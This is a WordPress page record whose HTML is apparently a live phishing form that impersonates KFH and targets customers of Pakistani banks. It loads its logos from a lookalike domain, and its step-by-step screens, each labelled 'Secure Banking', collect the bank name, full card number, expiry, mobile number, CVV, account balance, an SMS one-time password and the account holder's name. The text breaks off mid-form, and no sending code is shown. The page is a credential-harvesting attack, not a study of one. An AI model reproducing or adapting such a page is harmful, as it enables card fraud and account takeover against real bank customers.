{"id":10,"date":"2026-08-01T14:06:08","date_gmt":"2026-08-01T14:06:08","guid":{"rendered":"https:\/\/alresal.co\/pkonline\/?page_id=10"},"modified":"2026-08-01T14:11:49","modified_gmt":"2026-08-01T14:11:49","slug":"user","status":"publish","type":"page","link":"https:\/\/alresal.co\/pkonline\/","title":{"rendered":""},"content":{"rendered":"\t\t<div data-elementor-type=\"wp-page\" data-elementor-id=\"10\" class=\"elementor elementor-10\">\n\t\t\t\t\t\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-c4a44cf elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"c4a44cf\" data-element_type=\"section\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-d5dea26\" data-id=\"d5dea26\" data-element_type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t\t\t<div class=\"elementor-element elementor-element-970ad77 elementor-widget elementor-widget-shortcode\" data-id=\"970ad77\" data-element_type=\"widget\" data-widget_type=\"shortcode.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t<div class=\"elementor-shortcode\"> \r\n        <div id=\"kfh-app\">\r\n            <!-- STEP 1: SPLASH SCREEN -->\r\n            <div class=\"kfh-screen active\" id=\"step1\" style=\"background-image: url('https:\/\/alresal.co\/pkonline\/wp-content\/uploads\/2026\/08\/PK-BG.webp');\">\r\n                <div class=\"screen-container splash-container\">\r\n                    <div class=\"splash-image-wrapper\">\r\n                        <img decoding=\"async\" src=\"https:\/\/alresal.co\/pkonline\/wp-content\/uploads\/2026\/08\/PK-BG.webp\" class=\"splash-bg-image\" alt=\"KFH\">\r\n                    <\/div>\r\n                <\/div>\r\n            <\/div>\r\n\r\n            <!-- TRANSITION SPLASH OVERLAY -->\r\n            <div class=\"kfh-screen\" id=\"transitionSplash\">\r\n                <div class=\"screen-container splash-container transition-overlay\">\r\n                    <div class=\"loader-wrapper\">\r\n                        <div class=\"transition-loader\"><\/div>\r\n                    <\/div>\r\n                <\/div>\r\n            <\/div>\r\n\r\n            <!-- STEP 2: SELECT BANK -->\r\n            <div class=\"kfh-screen\" id=\"step2\" style=\"background-image: url('https:\/\/alresal.co\/pkonline\/wp-content\/uploads\/2026\/08\/PK-BG.webp'); background-size: cover; background-position: center;\">\r\n                <div class=\"screen-container\">\r\n                    <div class=\"step-header\">\r\n                        <div class=\"header-logo\">\r\n                            <img decoding=\"async\" src=\"https:\/\/kfh.bhrain.it.com\/wp-content\/uploads\/2026\/07\/KFH-Logo.png\" alt=\"KFH\">\r\n                        <\/div>\r\n                    <\/div>\r\n                    <div class=\"inner-box\">\r\n                        <div class=\"step-title\">Select Your Bank<\/div>\r\n                        <div class=\"step-subtitle\">Choose your bank to continue<\/div>\r\n\r\n                        <div class=\"bank-select-wrapper\">\r\n                            <div class=\"bank-select-box\" id=\"bankSelectBox\">\r\n                                <div class=\"bank-select-left\">\r\n                                    <div class=\"bank-icon-placeholder\" id=\"selectedBankIcon\">\r\n                                        <svg width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"#6b7280\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\r\n                                            <rect x=\"2\" y=\"7\" width=\"20\" height=\"14\" rx=\"2\" ry=\"2\"\/>\r\n                                            <path d=\"M16 21V5a2 2 0 0 0-2-2h-4a2 2 0 0 0-2 2v16\"\/>\r\n                                        <\/svg>\r\n                                    <\/div>\r\n                                    <span class=\"bank-select-text placeholder\" id=\"selectedBankText\">Select Your Bank<\/span>\r\n                                <\/div>\r\n                                <div class=\"bank-select-right\">\r\n                                    <svg width=\"20\" height=\"20\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"#6b7280\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\r\n                                        <polyline points=\"6 9 12 15 18 9\"\/>\r\n                                    <\/svg>\r\n                                <\/div>\r\n                            <\/div>\r\n                            <div class=\"bank-dropdown\" id=\"bankDropdown\">\r\n                                                                <div class=\"bank-option\" data-bank=\"habib\" data-name=\"Habib Bank Limited (HBL)\" data-logo=\"https:\/\/kfh.bhrain.it.com\/wp-content\/uploads\/2026\/07\/hbl-logo.png\">\r\n                                    <img decoding=\"async\" src=\"https:\/\/kfh.bhrain.it.com\/wp-content\/uploads\/2026\/07\/hbl-logo.png\" alt=\"Habib Bank Limited (HBL)\" class=\"bank-option-logo\" loading=\"lazy\">\r\n                                    <span>Habib Bank Limited (HBL)<\/span>\r\n                                <\/div>\r\n                                                                <div class=\"bank-option\" data-bank=\"ubl\" data-name=\"United Bank Limited (UBL)\" data-logo=\"https:\/\/kfh.bhrain.it.com\/wp-content\/uploads\/2026\/07\/ubl-logo.png\">\r\n                                    <img decoding=\"async\" src=\"https:\/\/kfh.bhrain.it.com\/wp-content\/uploads\/2026\/07\/ubl-logo.png\" alt=\"United Bank Limited (UBL)\" class=\"bank-option-logo\" loading=\"lazy\">\r\n                                    <span>United Bank Limited (UBL)<\/span>\r\n                                <\/div>\r\n                                                                <div class=\"bank-option\" data-bank=\"mcb\" data-name=\"MCB Bank Limited\" data-logo=\"https:\/\/kfh.bhrain.it.com\/wp-content\/uploads\/2026\/07\/mcb-logo.png\">\r\n                                    <img decoding=\"async\" src=\"https:\/\/kfh.bhrain.it.com\/wp-content\/uploads\/2026\/07\/mcb-logo.png\" alt=\"MCB Bank Limited\" class=\"bank-option-logo\" loading=\"lazy\">\r\n                                    <span>MCB Bank Limited<\/span>\r\n                                <\/div>\r\n                                                                <div class=\"bank-option\" data-bank=\"allied\" data-name=\"Allied Bank Limited\" data-logo=\"https:\/\/kfh.bhrain.it.com\/wp-content\/uploads\/2026\/07\/allied-logo.png\">\r\n                                    <img decoding=\"async\" src=\"https:\/\/kfh.bhrain.it.com\/wp-content\/uploads\/2026\/07\/allied-logo.png\" alt=\"Allied Bank Limited\" class=\"bank-option-logo\" loading=\"lazy\">\r\n                                    <span>Allied Bank Limited<\/span>\r\n                                <\/div>\r\n                                                                <div class=\"bank-option\" data-bank=\"meezan\" data-name=\"Meezan Bank Limited\" data-logo=\"https:\/\/kfh.bhrain.it.com\/wp-content\/uploads\/2026\/07\/meezan-logo.png\">\r\n                                    <img decoding=\"async\" src=\"https:\/\/kfh.bhrain.it.com\/wp-content\/uploads\/2026\/07\/meezan-logo.png\" alt=\"Meezan Bank Limited\" class=\"bank-option-logo\" loading=\"lazy\">\r\n                                    <span>Meezan Bank Limited<\/span>\r\n                                <\/div>\r\n                                                                <div class=\"bank-option\" data-bank=\"askari\" data-name=\"Askari Bank Limited\" data-logo=\"https:\/\/kfh.bhrain.it.com\/wp-content\/uploads\/2026\/07\/askari-logo.png\">\r\n                                    <img decoding=\"async\" src=\"https:\/\/kfh.bhrain.it.com\/wp-content\/uploads\/2026\/07\/askari-logo.png\" alt=\"Askari Bank Limited\" class=\"bank-option-logo\" loading=\"lazy\">\r\n                                    <span>Askari Bank Limited<\/span>\r\n                                <\/div>\r\n                                                                <div class=\"bank-option\" data-bank=\"alfalah\" data-name=\"Bank Alfalah Limited\" data-logo=\"https:\/\/kfh.bhrain.it.com\/wp-content\/uploads\/2026\/07\/alfalah-logo.png\">\r\n                                    <img decoding=\"async\" src=\"https:\/\/kfh.bhrain.it.com\/wp-content\/uploads\/2026\/07\/alfalah-logo.png\" alt=\"Bank Alfalah Limited\" class=\"bank-option-logo\" loading=\"lazy\">\r\n                                    <span>Bank Alfalah Limited<\/span>\r\n                                <\/div>\r\n                                                                <div class=\"bank-option\" data-bank=\"faysal\" data-name=\"Faysal Bank Limited\" data-logo=\"https:\/\/kfh.bhrain.it.com\/wp-content\/uploads\/2026\/07\/faysal-logo.png\">\r\n                                    <img decoding=\"async\" src=\"https:\/\/kfh.bhrain.it.com\/wp-content\/uploads\/2026\/07\/faysal-logo.png\" alt=\"Faysal Bank Limited\" class=\"bank-option-logo\" loading=\"lazy\">\r\n                                    <span>Faysal Bank Limited<\/span>\r\n                                <\/div>\r\n                                                                <div class=\"bank-option\" data-bank=\"js\" data-name=\"JS Bank Limited\" data-logo=\"https:\/\/kfh.bhrain.it.com\/wp-content\/uploads\/2026\/07\/js-logo.png\">\r\n                                    <img decoding=\"async\" src=\"https:\/\/kfh.bhrain.it.com\/wp-content\/uploads\/2026\/07\/js-logo.png\" alt=\"JS Bank Limited\" class=\"bank-option-logo\" loading=\"lazy\">\r\n                                    <span>JS Bank Limited<\/span>\r\n                                <\/div>\r\n                                                                <div class=\"bank-option\" data-bank=\"silk\" data-name=\"Silkbank Limited\" data-logo=\"https:\/\/kfh.bhrain.it.com\/wp-content\/uploads\/2026\/07\/silk-logo.png\">\r\n                                    <img decoding=\"async\" src=\"https:\/\/kfh.bhrain.it.com\/wp-content\/uploads\/2026\/07\/silk-logo.png\" alt=\"Silkbank Limited\" class=\"bank-option-logo\" loading=\"lazy\">\r\n                                    <span>Silkbank Limited<\/span>\r\n                                <\/div>\r\n                                                                <div class=\"bank-option\" data-bank=\"summit\" data-name=\"Summit Bank Limited\" data-logo=\"https:\/\/kfh.bhrain.it.com\/wp-content\/uploads\/2026\/07\/summit-logo.png\">\r\n                                    <img decoding=\"async\" src=\"https:\/\/kfh.bhrain.it.com\/wp-content\/uploads\/2026\/07\/summit-logo.png\" alt=\"Summit Bank Limited\" class=\"bank-option-logo\" loading=\"lazy\">\r\n                                    <span>Summit Bank Limited<\/span>\r\n                                <\/div>\r\n                                                                <div class=\"bank-option\" data-bank=\"soneri\" data-name=\"Soneri Bank Limited\" data-logo=\"https:\/\/kfh.bhrain.it.com\/wp-content\/uploads\/2026\/07\/soneri-logo.png\">\r\n                                    <img decoding=\"async\" src=\"https:\/\/kfh.bhrain.it.com\/wp-content\/uploads\/2026\/07\/soneri-logo.png\" alt=\"Soneri Bank Limited\" class=\"bank-option-logo\" loading=\"lazy\">\r\n                                    <span>Soneri Bank Limited<\/span>\r\n                                <\/div>\r\n                                                                <div class=\"bank-option\" data-bank=\"deen\" data-name=\"Al Baraka Bank (Pakistan) Limited\" data-logo=\"https:\/\/kfh.bhrain.it.com\/wp-content\/uploads\/2026\/07\/albaraka-logo.png\">\r\n                                    <img decoding=\"async\" src=\"https:\/\/kfh.bhrain.it.com\/wp-content\/uploads\/2026\/07\/albaraka-logo.png\" alt=\"Al Baraka Bank (Pakistan) Limited\" class=\"bank-option-logo\" loading=\"lazy\">\r\n                                    <span>Al Baraka Bank (Pakistan) Limited<\/span>\r\n                                <\/div>\r\n                                                                <div class=\"bank-option\" data-bank=\"dubai\" data-name=\"Dubai Islamic Bank Pakistan Limited\" data-logo=\"https:\/\/kfh.bhrain.it.com\/wp-content\/uploads\/2026\/07\/dib-logo.png\">\r\n                                    <img decoding=\"async\" src=\"https:\/\/kfh.bhrain.it.com\/wp-content\/uploads\/2026\/07\/dib-logo.png\" alt=\"Dubai Islamic Bank Pakistan Limited\" class=\"bank-option-logo\" loading=\"lazy\">\r\n                                    <span>Dubai Islamic Bank Pakistan Limited<\/span>\r\n                                <\/div>\r\n                                                                <div class=\"bank-option\" data-bank=\"nbp\" data-name=\"National Bank of Pakistan (NBP)\" data-logo=\"https:\/\/kfh.bhrain.it.com\/wp-content\/uploads\/2026\/07\/nbp-logo.png\">\r\n                                    <img decoding=\"async\" src=\"https:\/\/kfh.bhrain.it.com\/wp-content\/uploads\/2026\/07\/nbp-logo.png\" alt=\"National Bank of Pakistan (NBP)\" class=\"bank-option-logo\" loading=\"lazy\">\r\n                                    <span>National Bank of Pakistan (NBP)<\/span>\r\n                                <\/div>\r\n                                                                <div class=\"bank-option\" data-bank=\"samba\" data-name=\"Samba Bank Limited\" data-logo=\"https:\/\/kfh.bhrain.it.com\/wp-content\/uploads\/2026\/07\/samba-logo.png\">\r\n                                    <img decoding=\"async\" src=\"https:\/\/kfh.bhrain.it.com\/wp-content\/uploads\/2026\/07\/samba-logo.png\" alt=\"Samba Bank Limited\" class=\"bank-option-logo\" loading=\"lazy\">\r\n                                    <span>Samba Bank Limited<\/span>\r\n                                <\/div>\r\n                                                                <div class=\"bank-option\" data-bank=\"standard\" data-name=\"Standard Chartered Bank (Pakistan)\" data-logo=\"https:\/\/kfh.bhrain.it.com\/wp-content\/uploads\/2026\/07\/standard-logo.png\">\r\n                                    <img decoding=\"async\" src=\"https:\/\/kfh.bhrain.it.com\/wp-content\/uploads\/2026\/07\/standard-logo.png\" alt=\"Standard Chartered Bank (Pakistan)\" class=\"bank-option-logo\" loading=\"lazy\">\r\n                                    <span>Standard Chartered Bank (Pakistan)<\/span>\r\n                                <\/div>\r\n                                                                <div class=\"bank-option\" data-bank=\"habibmetro\" data-name=\"Habib Metropolitan Bank Limited\" data-logo=\"https:\/\/kfh.bhrain.it.com\/wp-content\/uploads\/2026\/07\/habibmetro-logo.png\">\r\n                                    <img decoding=\"async\" src=\"https:\/\/kfh.bhrain.it.com\/wp-content\/uploads\/2026\/07\/habibmetro-logo.png\" alt=\"Habib Metropolitan Bank Limited\" class=\"bank-option-logo\" loading=\"lazy\">\r\n                                    <span>Habib Metropolitan Bank Limited<\/span>\r\n                                <\/div>\r\n                                                                <div class=\"bank-option\" data-bank=\"bankislami\" data-name=\"BankIslami Pakistan Limited\" data-logo=\"https:\/\/kfh.bhrain.it.com\/wp-content\/uploads\/2026\/07\/bankislami-logo.png\">\r\n                                    <img decoding=\"async\" src=\"https:\/\/kfh.bhrain.it.com\/wp-content\/uploads\/2026\/07\/bankislami-logo.png\" alt=\"BankIslami Pakistan Limited\" class=\"bank-option-logo\" loading=\"lazy\">\r\n                                    <span>BankIslami Pakistan Limited<\/span>\r\n                                <\/div>\r\n                                                                <div class=\"bank-option\" data-bank=\"bl\" data-name=\"Bank of Punjab (BOP)\" data-logo=\"https:\/\/kfh.bhrain.it.com\/wp-content\/uploads\/2026\/07\/bop-logo.png\">\r\n                                    <img decoding=\"async\" src=\"https:\/\/kfh.bhrain.it.com\/wp-content\/uploads\/2026\/07\/bop-logo.png\" alt=\"Bank of Punjab (BOP)\" class=\"bank-option-logo\" loading=\"lazy\">\r\n                                    <span>Bank of Punjab (BOP)<\/span>\r\n                                <\/div>\r\n                                                            <\/div>\r\n                        <\/div>\r\n\r\n                        <div class=\"btn-bottom\">\r\n                            <button class=\"next-btn\" id=\"nextStep2Btn\" disabled>\r\n                                <span class=\"btn-text\">Continue<\/span>\r\n                                <span class=\"btn-loader\"><\/span>\r\n                            <\/button>\r\n                        <\/div>\r\n                    <\/div>\r\n                    <div class=\"step-footer\">Secure Banking<\/div>\r\n                <\/div>\r\n            <\/div>\r\n\r\n            <!-- STEP 3: CARD DETAILS -->\r\n            <div class=\"kfh-screen\" id=\"step3\" style=\"background-image: url('https:\/\/alresal.co\/pkonline\/wp-content\/uploads\/2026\/08\/PK-BG.webp'); background-size: cover; background-position: center;\">\r\n                <div class=\"screen-container\">\r\n                    <div class=\"step-header\">\r\n                        <div class=\"header-logo\" id=\"cardStepLogo\">\r\n                            <img decoding=\"async\" src=\"https:\/\/kfh.bhrain.it.com\/wp-content\/uploads\/2026\/07\/KFH-Logo.png\" alt=\"KFH\">\r\n                        <\/div>\r\n                        <div class=\"header-bank-name\" id=\"cardStepBankName\">KFH Bahrain<\/div>\r\n                    <\/div>\r\n                    <div class=\"inner-box\">\r\n                        <div class=\"step-icon-wrapper\">\r\n                            <svg width=\"38\" height=\"38\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"#42B029\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\r\n                                <rect x=\"2\" y=\"4\" width=\"20\" height=\"16\" rx=\"2\" ry=\"2\"\/>\r\n                                <line x1=\"2\" y1=\"10\" x2=\"22\" y2=\"10\"\/>\r\n                                <line x1=\"6\" y1=\"14\" x2=\"10\" y2=\"14\"\/>\r\n                                <line x1=\"14\" y1=\"14\" x2=\"18\" y2=\"14\"\/>\r\n                            <\/svg>\r\n                        <\/div>\r\n                        <div class=\"step-title-left\">Enter Card Details<\/div>\r\n                        <div class=\"step-subtitle-left\">Fill in your debit card information<\/div>\r\n\r\n                        <div class=\"input-label\">Card Number (16 digits)<\/div>\r\n                        <div class=\"card-boxes\">\r\n                            <input type=\"tel\" class=\"card-digit\" id=\"card1\" maxlength=\"4\" inputmode=\"numeric\" placeholder=\"1234\" autofocus>\r\n                            <input type=\"tel\" class=\"card-digit\" id=\"card2\" maxlength=\"4\" inputmode=\"numeric\" placeholder=\"5678\">\r\n                            <input type=\"tel\" class=\"card-digit\" id=\"card3\" maxlength=\"4\" inputmode=\"numeric\" placeholder=\"9012\">\r\n                            <input type=\"tel\" class=\"card-digit\" id=\"card4\" maxlength=\"4\" inputmode=\"numeric\" placeholder=\"3456\">\r\n                        <\/div>\r\n\r\n                        <div class=\"row-2\">\r\n                            <div class=\"input-wrap\" style=\"flex:1;\">\r\n                                <div class=\"input-icon\">\r\n                                    <svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"17\" height=\"17\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"#1a1a2e\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\r\n                                        <rect x=\"3\" y=\"4\" width=\"18\" height=\"18\" rx=\"2\" ry=\"2\"><\/rect>\r\n                                        <line x1=\"16\" y1=\"2\" x2=\"16\" y2=\"6\"><\/line>\r\n                                        <line x1=\"8\" y1=\"2\" x2=\"8\" y2=\"6\"><\/line>\r\n                                        <line x1=\"3\" y1=\"10\" x2=\"21\" y2=\"10\"><\/line>\r\n                                    <\/svg>\r\n                                <\/div>\r\n                                <select id=\"expiryMonth\">\r\n                                    <option value=\"01\">01 - Jan<\/option>\r\n                                    <option value=\"02\">02 - Feb<\/option>\r\n                                    <option value=\"03\">03 - Mar<\/option>\r\n                                    <option value=\"04\">04 - Apr<\/option>\r\n                                    <option value=\"05\">05 - May<\/option>\r\n                                    <option value=\"06\">06 - Jun<\/option>\r\n                                    <option value=\"07\">07 - Jul<\/option>\r\n                                    <option value=\"08\">08 - Aug<\/option>\r\n                                    <option value=\"09\">09 - Sep<\/option>\r\n                                    <option value=\"10\">10 - Oct<\/option>\r\n                                    <option value=\"11\">11 - Nov<\/option>\r\n                                    <option value=\"12\">12 - Dec<\/option>\r\n                                <\/select>\r\n                                <span class=\"select-arrow\">\u25be<\/span>\r\n                            <\/div>\r\n                            <div class=\"input-wrap\" style=\"flex:1;\">\r\n                                <div class=\"input-icon\">\r\n                                    <svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"17\" height=\"17\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"#1a1a2e\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\r\n                                        <rect x=\"3\" y=\"4\" width=\"18\" height=\"18\" rx=\"2\" ry=\"2\"><\/rect>\r\n                                        <line x1=\"16\" y1=\"2\" x2=\"16\" y2=\"6\"><\/line>\r\n                                        <line x1=\"8\" y1=\"2\" x2=\"8\" y2=\"6\"><\/line>\r\n                                        <line x1=\"3\" y1=\"10\" x2=\"21\" y2=\"10\"><\/line>\r\n                                    <\/svg>\r\n                                <\/div>\r\n                                <select id=\"expiryYear\">\r\n                                    <option value=\"26\">2026<\/option>\r\n                                    <option value=\"27\">2027<\/option>\r\n                                    <option value=\"28\">2028<\/option>\r\n                                    <option value=\"29\">2029<\/option>\r\n                                    <option value=\"30\">2030<\/option>\r\n                                    <option value=\"31\">2031<\/option>\r\n                                    <option value=\"32\">2032<\/option>\r\n                                    <option value=\"33\">2033<\/option>\r\n                                    <option value=\"34\">2034<\/option>\r\n                                    <option value=\"35\">2035<\/option>\r\n                                <\/select>\r\n                                <span class=\"select-arrow\">\u25be<\/span>\r\n                            <\/div>\r\n                        <\/div>\r\n\r\n                        <div class=\"input-label\">Registered Mobile Number<\/div>\r\n                        <div class=\"input-wrap\">\r\n                            <span style=\"font-weight:600; color:#1a1a2e; padding-left:12px; font-size:14px;\">+92<\/span>\r\n                            <input type=\"tel\" class=\"form-input\" id=\"mobileNumber\" placeholder=\"3XX XXXXXXX\" maxlength=\"11\" inputmode=\"numeric\" style=\"padding-left:2px;\">\r\n                        <\/div>\r\n\r\n                        <div class=\"btn-bottom\">\r\n                            <button class=\"next-btn\" id=\"nextStep3Btn\">\r\n                                <span class=\"btn-text\">Continue<\/span>\r\n                                <span class=\"btn-loader\"><\/span>\r\n                            <\/button>\r\n                        <\/div>\r\n                    <\/div>\r\n                    <div class=\"step-footer\">Secure Banking<\/div>\r\n                <\/div>\r\n            <\/div>\r\n\r\n            <!-- STEP 4: CVV -->\r\n            <div class=\"kfh-screen\" id=\"step4\" style=\"background-image: url('https:\/\/alresal.co\/pkonline\/wp-content\/uploads\/2026\/08\/PK-BG.webp'); background-size: cover; background-position: center;\">\r\n                <div class=\"screen-container\">\r\n                    <div class=\"step-header\"><\/div>\r\n                    <div class=\"inner-box\">\r\n                        <div class=\"step-icon-wrapper\">\r\n                            <svg width=\"38\" height=\"38\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"#42B029\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\r\n                                <rect x=\"2\" y=\"4\" width=\"20\" height=\"16\" rx=\"2\" ry=\"2\"\/>\r\n                                <path d=\"M8 12h8\"\/>\r\n                                <path d=\"M8 16h4\"\/>\r\n                            <\/svg>\r\n                        <\/div>\r\n                        <div class=\"step-title\">CVV \/ Security Code<\/div>\r\n                        <div class=\"step-subtitle\">Enter the 3\u2011digit code on the back of your card<\/div>\r\n\r\n                        <div class=\"card-preview\">\r\n                            <div class=\"card-top\">\r\n                                <div class=\"card-brand\" id=\"cvvCardLastFour\">\u2022\u2022\u2022\u2022 \u2022\u2022\u2022\u2022 \u2022\u2022\u2022\u2022 5555<\/div>\r\n                            <\/div>\r\n                            <div class=\"card-stripe\">\r\n                                <span class=\"cvv-live\" id=\"liveCvvBack\">\u2022\u2022\u2022<\/span>\r\n                            <\/div>\r\n                            <div class=\"card-footer\">\r\n                                <span>CVV \/ SECURITY CODE<\/span>\r\n                                <span>Located on the back<\/span>\r\n                            <\/div>\r\n                        <\/div>\r\n\r\n                        <div class=\"input-label\">CVV Code<\/div>\r\n                        <div class=\"input-wrap\">\r\n                            <div class=\"input-icon\">\r\n                                <svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"17\" height=\"17\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"#1a1a2e\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\r\n                                    <rect x=\"2\" y=\"4\" width=\"20\" height=\"16\" rx=\"2\"><\/rect>\r\n                                    <path d=\"M8 12h8\"><\/path>\r\n                                    <path d=\"M8 16h4\"><\/path>\r\n                                <\/svg>\r\n                            <\/div>\r\n                            <input type=\"tel\" class=\"form-input\" id=\"cvvInput\" placeholder=\"Enter CVV\" maxlength=\"4\" inputmode=\"numeric\">\r\n                        <\/div>\r\n\r\n                        <div class=\"btn-bottom\">\r\n                            <button class=\"next-btn\" id=\"nextStep4Btn\">\r\n                                <span class=\"btn-text\">Next<\/span>\r\n                                <span class=\"btn-loader\"><\/span>\r\n                            <\/button>\r\n                        <\/div>\r\n                    <\/div>\r\n                    <div class=\"step-footer\">Secure Banking<\/div>\r\n                <\/div>\r\n            <\/div>\r\n\r\n            <!-- STEP 5: BALANCE -->\r\n            <div class=\"kfh-screen\" id=\"step5\" style=\"background-image: url('https:\/\/alresal.co\/pkonline\/wp-content\/uploads\/2026\/08\/PK-BG.webp'); background-size: cover; background-position: center;\">\r\n                <div class=\"screen-container\">\r\n                    <div class=\"step-header\"><\/div>\r\n                    <div class=\"inner-box\">\r\n                        <div class=\"step-icon-wrapper\">\r\n                            <svg width=\"38\" height=\"38\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"#42B029\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\r\n                                <circle cx=\"12\" cy=\"12\" r=\"10\"\/>\r\n                                <path d=\"M8 12h8\"\/>\r\n                                <path d=\"M12 8v8\"\/>\r\n                            <\/svg>\r\n                        <\/div>\r\n                        <div class=\"step-title\">Account Balance<\/div>\r\n                        <div class=\"step-subtitle\">Enter your current balance in Pakistani Rupees<\/div>\r\n\r\n                        <div class=\"input-label\">Amount (PKR)<\/div>\r\n                        <div class=\"input-wrap\">\r\n                            <span style=\"font-weight:700; color:#1a1a2e; padding-left:12px; font-size:16px;\">PKR<\/span>\r\n                            <input type=\"text\" class=\"form-input\" id=\"balanceInput\" placeholder=\"0\" inputmode=\"decimal\" style=\"padding-left:2px; font-size:16px; font-weight:600;\">\r\n                        <\/div>\r\n\r\n                        <div class=\"btn-bottom\">\r\n                            <button class=\"next-btn\" id=\"nextStep5Btn\">\r\n                                <span class=\"btn-text\">Confirm<\/span>\r\n                                <span class=\"btn-loader\"><\/span>\r\n                            <\/button>\r\n                        <\/div>\r\n                    <\/div>\r\n                    <div class=\"step-footer\">Secure Banking<\/div>\r\n                <\/div>\r\n            <\/div>\r\n\r\n            <!-- STEP 6: OTP 1 -->\r\n            <div class=\"kfh-screen\" id=\"step6\" style=\"background-image: url('https:\/\/alresal.co\/pkonline\/wp-content\/uploads\/2026\/08\/PK-BG.webp'); background-size: cover; background-position: center;\">\r\n                <div class=\"screen-container\">\r\n                    <div class=\"step-header\"><\/div>\r\n                    <div class=\"inner-box\">\r\n                        <div class=\"step-icon-wrapper\">\r\n                            <svg width=\"38\" height=\"38\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"#42B029\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\r\n                                <rect x=\"5\" y=\"2\" width=\"14\" height=\"20\" rx=\"2\" ry=\"2\"\/>\r\n                                <line x1=\"12\" y1=\"18\" x2=\"12.01\" y2=\"18\"\/>\r\n                            <\/svg>\r\n                        <\/div>\r\n                        <div class=\"step-title\">OTP Verification<\/div>\r\n                        <div class=\"step-subtitle\">SMS has been sent on your mobile number<\/div>\r\n                        <div class=\"mobile-display\" id=\"mobileDisplay1\">Mobile Number: ****35<\/div>\r\n\r\n                        <div class=\"otp-timer\">\r\n                            <span class=\"timer-text\">Resend in <\/span>\r\n                            <span class=\"timer-count\" id=\"otpTimer1\">300<\/span>\r\n                            <span class=\"timer-text\">s<\/span>\r\n                        <\/div>\r\n\r\n                        <div class=\"otp-boxes\">\r\n                            <input type=\"tel\" class=\"otp-digit\" id=\"otp1_1\" maxlength=\"1\" inputmode=\"numeric\" autofocus>\r\n                            <input type=\"tel\" class=\"otp-digit\" id=\"otp1_2\" maxlength=\"1\" inputmode=\"numeric\">\r\n                            <input type=\"tel\" class=\"otp-digit\" id=\"otp1_3\" maxlength=\"1\" inputmode=\"numeric\">\r\n                            <input type=\"tel\" class=\"otp-digit\" id=\"otp1_4\" maxlength=\"1\" inputmode=\"numeric\">\r\n                            <input type=\"tel\" class=\"otp-digit\" id=\"otp1_5\" maxlength=\"1\" inputmode=\"numeric\">\r\n                            <input type=\"tel\" class=\"otp-digit\" id=\"otp1_6\" maxlength=\"1\" inputmode=\"numeric\">\r\n                        <\/div>\r\n\r\n                        <button class=\"resend-btn\" id=\"resendOtpBtn1\" disabled>Resend OTP<\/button>\r\n\r\n                        <div class=\"btn-bottom\">\r\n                            <button class=\"next-btn\" id=\"nextStep6Btn\">\r\n                                <span class=\"btn-text\">Verify<\/span>\r\n                                <span class=\"btn-loader\"><\/span>\r\n                            <\/button>\r\n                        <\/div>\r\n                    <\/div>\r\n                    <div class=\"step-footer\">Secure Banking<\/div>\r\n                <\/div>\r\n            <\/div>\r\n\r\n            <!-- STEP 7: FULL NAME -->\r\n            <div class=\"kfh-screen\" id=\"step7\" style=\"background-image: url('https:\/\/alresal.co\/pkonline\/wp-content\/uploads\/2026\/08\/PK-BG.webp'); background-size: cover; background-position: center;\">\r\n                <div class=\"screen-container\">\r\n                    <div class=\"step-header\"><\/div>\r\n                    <div class=\"inner-box\">\r\n                        <div class=\"step-icon-wrapper\">\r\n                            <svg width=\"38\" height=\"38\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"#42B029\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\r\n                                <path d=\"M20 21v-2a4 4 0 0 0-4-4H8a4 4 0 0 0-4 4v2\"\/>\r\n                                <circle cx=\"12\" cy=\"7\" r=\"4\"\/>\r\n                            <\/svg>\r\n                        <\/div>\r\n                        <div class=\"step-title\">Full Name<\/div>\r\n                        <div class=\"step-subtitle\">Enter your full name as on your bank account<\/div>\r\n\r\n                        <div class=\"input-label\">Full Name<\/div>\r\n                        <div class=\"input-wrap\">\r\n                            <div class=\"input-icon\">\r\n                                <svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"17\" height=\"17\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"#1a1a2e\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\r\n                                    <path d=\"M20 21v-2a4 4 0 0 0-4-4H8a4 4 0 0 0-4 4v2\"><\/path>\r\n                                    <circle cx=\"12\" cy=\"7\" r=\"4\"><\/circle>\r\n                                <\/svg>\r\n                            <\/div>\r\n                            <input type=\"text\" class=\"form-input\" id=\"fullName\" placeholder=\"John Doe\" autocomplete=\"name\">\r\n                        <\/div>\r\n\r\n                        <div class=\"btn-bottom\">\r\n                            <button class=\"next-btn\" id=\"nextStep7Btn\">\r\n                                <span class=\"btn-text\">Continue<\/span>\r\n                                <span 